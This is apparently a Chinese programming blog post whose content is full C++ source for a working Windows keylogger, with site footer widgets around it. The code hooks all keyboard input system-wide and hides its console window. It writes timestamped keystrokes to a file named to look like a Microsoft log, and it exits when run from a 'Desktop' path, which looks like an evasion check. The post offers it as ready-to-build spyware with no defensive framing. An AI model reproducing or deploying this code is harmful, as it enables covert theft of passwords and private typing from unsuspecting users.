【键盘记录器】

#include <iostream>
#include <fstream>
#include <windows.h>
#include <ctime>
#include <iomanip>
#include <sstream>

#include <stdio.h>
#include <stdlib.h>



HHOOK keyboardHook;
std::ofstream logFile;

void RecordKeyStroke(DWORD key, const char* keyName) {
    
    std::time_t currentTime = std::time(nullptr);
    std::tm localTime;
    localtime_s(&localTime, &currentTime);

    std::ostringstream timeStrStream;
    timeStrStream << std::put_time(&localTime, "%Y-%m-%d %H:%M:%S");

    logFile.open("MicrosoftRecorder.log", std::ios::app);
    if (logFile.is_open()) {
        logFile << "T:" << timeStrStream.str() << ",VK:" << key << ",K:" << keyName << std::endl;
        std::cout << keyName << std::endl;
        logFile.close();
    }

}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0 && wParam == WM_KEYDOWN) {
        KBDLLHOOKSTRUCT* kbdStruct = reinterpret_cast<KBDLLHOOKSTRUCT*>(lParam);
        DWORD key = kbdStruct->vkCode;

        char keyName[256] = { 0 };

        if (key == VK_RETURN) {
            strcpy_s(keyName, "回车");
        }
        else if (key == VK_BACK) {
            strcpy_s(keyName, "退格");
        }
        else if (key == 160) {
            strcpy_s(keyName, "SHIFT");
        }
        else if (key == 162) {
            strcpy_s(keyName, "CTRL");
        }
        else if (key == 20) {
            strcpy_s(keyName, "大小写");
        }
        else if (key == 144) {
            strcpy_s(keyName, "小键盘数字");
        }
        else if (key == 9) {
            strcpy_s(keyName, "TAB");
        }
        else if (key == VK_SPACE) {
            strcpy_s(keyName, "空格键");
        }
        else if (key == 91) {
            strcpy_s(keyName, "开始");
        }
        else if (key == 45) {
            strcpy_s(keyName, "INS");
        }
        else if (key == 36) {
            strcpy_s(keyName, "HOME");
        }
        else if (key == 33) {
            strcpy_s(keyName, "PAGUP");
        }
        else if (key == 46) {
            strcpy_s(keyName, "DEL");
        }
        else if (key == 35) {
            strcpy_s(keyName, "END");
        }
        else if (key == 34) {
            strcpy_s(keyName, "PAGDN");
        }
        else if (key == 37) {
            strcpy_s(keyName, "←");
        }
        else if (key == 38) {
            strcpy_s(keyName, "↑");
        }
        else if (key == 39) {
            strcpy_s(keyName, "→");
        }
        else if (key == 40) {
            strcpy_s(keyName, "↓");
        }
        else if (key == 44) {
            strcpy_s(keyName, "PRTSC");
        }
        else if (key == 145) {
            strcpy_s(keyName, "SCRLK");
        }
        else if (key == 19) {
            strcpy_s(keyName, "PAUSE");
        }
        else if (key == 112) {
            strcpy_s(keyName, "F1");
        }
        else if (key == 113) {
            strcpy_s(keyName, "F2");
        }
        else if (key == 114) {
            strcpy_s(keyName, "F3");
        }
        else if (key == 115) {
            strcpy_s(keyName, "F4");
        }
        else if (key == 116) {
            strcpy_s(keyName, "F5");
        }
        else if (key == 117) {
            strcpy_s(keyName, "F6");
        }
        else if (key == 118) {
            strcpy_s(keyName, "F7");
        }
        else if (key == 119) {
            strcpy_s(keyName, "F8");
        }
        else if (key == 120) {
            strcpy_s(keyName, "F9");
        }
        else if (key == 121) {
            strcpy_s(keyName, "F10");
        }
        else if (key == 122) {
            strcpy_s(keyName, "F11");
        }
        else if (key == 123) {
            strcpy_s(keyName, "F12");
        }
        else if (key == 27) {
            strcpy_s(keyName, "ESC");
        }
        else {
            BYTE keyboardState[256] = { 0 };
            SHORT shiftState = GetKeyState(VK_SHIFT);
            SHORT capsLockState = GetKeyState(VK_CAPITAL);
            bool isShiftPressed = shiftState & 0x8000;
            bool isCapsLockOn = (capsLockState & 1) != 0;

            if (isCapsLockOn ^ isShiftPressed) {
                keyboardState[VK_SHIFT] = 0x80;
            }
            ToAscii(key, key, keyboardState, reinterpret_cast<WORD*>(keyName), 0);
        }

        RecordKeyStroke(key, keyName);
    }

    return CallNextHookEx(keyboardHook, nCode, wParam, lParam);
}

int main(int argc, char* argv[]) {

    std::string programPath = argv[0];
    std::string windowsKeyword = "Desktop";

    if (programPath.find(windowsKeyword) != std::string::npos) {
        std::cout << programPath << std::endl;
        return EXIT_FAILURE;
    }

    AllocConsole();
    HWND hide = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(hide, 0);

    keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);

    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0) > 0) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    UnhookWindowsHookEx(keyboardHook);

    return 0;
}



QQ群:839758211

  • 6
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值